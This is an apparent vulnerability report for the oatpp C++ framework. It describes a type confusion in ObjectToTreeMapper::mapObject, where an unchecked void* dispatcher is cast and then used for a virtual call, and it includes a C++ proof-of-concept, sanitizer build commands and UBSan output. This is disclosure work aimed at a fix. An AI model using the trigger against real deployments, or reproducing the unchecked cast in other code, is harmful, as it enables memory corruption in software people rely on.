#1099·oatpp

Type confusion in 'ObjectToTreeMapper::mapObject'

Author: 2rr0r4o3Created Aug 24, 2026Updated Aug 24, 2026

Summary

Type::Info::polymorphicDispatcher is a bare void* with nothing recording which ClassId it belongs to. mapObject takes whatever pointer the value's type tag carries, static_casts it to AbstractObject::PolymorphicDispatcher*, and immediately makes a virtual call on it. If the dispatcher stored in a Type is not an object-dispatcher, the call dispatches through the wrong vtable.

Details

src/oatpp/data/type/Type.hpp:459:

459      void* polymorphicDispatcher = nullptr;

Nothing in Type::Info associates that pointer with a ClassId. The three dispatcher families are unrelated class hierarchies:

  • __class::AbstractObject::PolymorphicDispatcher (Object.hpp:237), extended at Object.hpp:265
  • __class::Collection::PolymorphicDispatcher (Collection.hpp:76), extended at Collection.hpp:155
  • __class::Map::PolymorphicDispatcher (Map.hpp:82), extended at Map.hpp:172

There is no common base. A StandardCollection<...>::PolymorphicDispatcher* and an AbstractObject::PolymorphicDispatcher* are pointers into different hierarchies with different vtable layouts.

src/oatpp/data/mapping/ObjectToTreeMapper.cpp:248-259:

248    void ObjectToTreeMapper::mapObject(const ObjectToTreeMapper* mapper, State& state, const oatpp::Void& polymorph) {
...
255      auto type = polymorph.getValueType();
256      auto dispatcher = static_cast<const oatpp::data::type::__class::AbstractObject::PolymorphicDispatcher*>(
257        type->polymorphicDispatcher
258      );
259      auto fields = dispatcher->getProperties()->getList();

Line 256 casts from void*, so the compiler cannot object, and line 259 makes a virtual call straight away. Which of the three map* functions runs is decided earlier by m_methods[classId.id] (ObjectToTreeMapper.cpp:78), so the ClassId selects the handler while the dispatcher pointer is taken on trust from the same Type. Nothing checks that the two agree.

Fix: give the dispatcher a ClassId and compare before casting, or replace the void* with a common base pointer so dynamic_cast becomes available. Either way the cast should not be reached with an unvalidated pointer immediately before a virtual call.

PoC

PoC constructs a Type whose polymorphicDispatcher is a collection dispatcher while its ClassId says object. That is the precondition, and it is set through the public Type::Info API, nothing in that API prevents the combination.

cpp
auto* collectionDisp =
  new t::__class::StandardCollection<std::vector<oatpp::String>,
                                     oatpp::String,
                                     t::__class::Vector<oatpp::String>>::PolymorphicDispatcher();

t::Type::Info info;
info.nameQualifier = "Spoofed";
info.polymorphicDispatcher = collectionDisp;              // Type.hpp:459 - plain void*
static t::Type spoofed(t::__class::AbstractObject::CLASS_ID, info);

auto payload = std::make_shared<std::vector<oatpp::String>>();
oatpp::Void v(std::static_pointer_cast<void>(payload), &spoofed);

oatpp::json::ObjectMapper mapper;
mapper.writeToString(v);   // m_methods[AbstractObject::CLASS_ID] -> mapObject -> virtual call

Build and run:

bash
clang++-22 -fsanitize=address,undefined,vptr -fsanitize-recover=all \
  -fno-omit-frame-pointer -frtti -g -O1 -std=c++17 -I<oatpp>/src \
  poc_ObjectToTreeMapper_mapObject.cpp liboatpp.a -lpthread -o poc_ObjectToTreeMapper_mapObject
ASAN_OPTIONS=halt_on_error=0 UBSAN_OPTIONS=halt_on_error=0:print_stacktrace=1 ./poc_ObjectToTreeMapper_mapObject

-fsanitize-recover=all so the unrelated DTO property-offset defect does not abort first.

UBSan output:

src/oatpp/data/mapping/ObjectToTreeMapper.cpp:259:29: runtime error: member call on address 0x...
  which does not point to an object of type '...'
0x...: note: object is of type
  'oatpp::data::type::__class::StandardCollection<std::vector<oatpp::data::type::String, ...>>'
    #0 in oatpp::data::mapping::ObjectToTreeMapper::mapObject(...)  src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    #1 in oatpp::data::mapping::ObjectToTreeMapper::map(...)        src/oatpp/data/mapping/ObjectToTreeMapper.cpp
    #2 in oatpp::json::ObjectMapper::write(...)                     src/oatpp/json/ObjectMapper.cpp

Impact

virtual call dispatched through a vtable belonging to an unrelated class. reaching it requires a Type whose dispatcher does not match its ClassId, which the PoC configures directly, mapObject will happily make a virtual call on whatever pointer it is handed.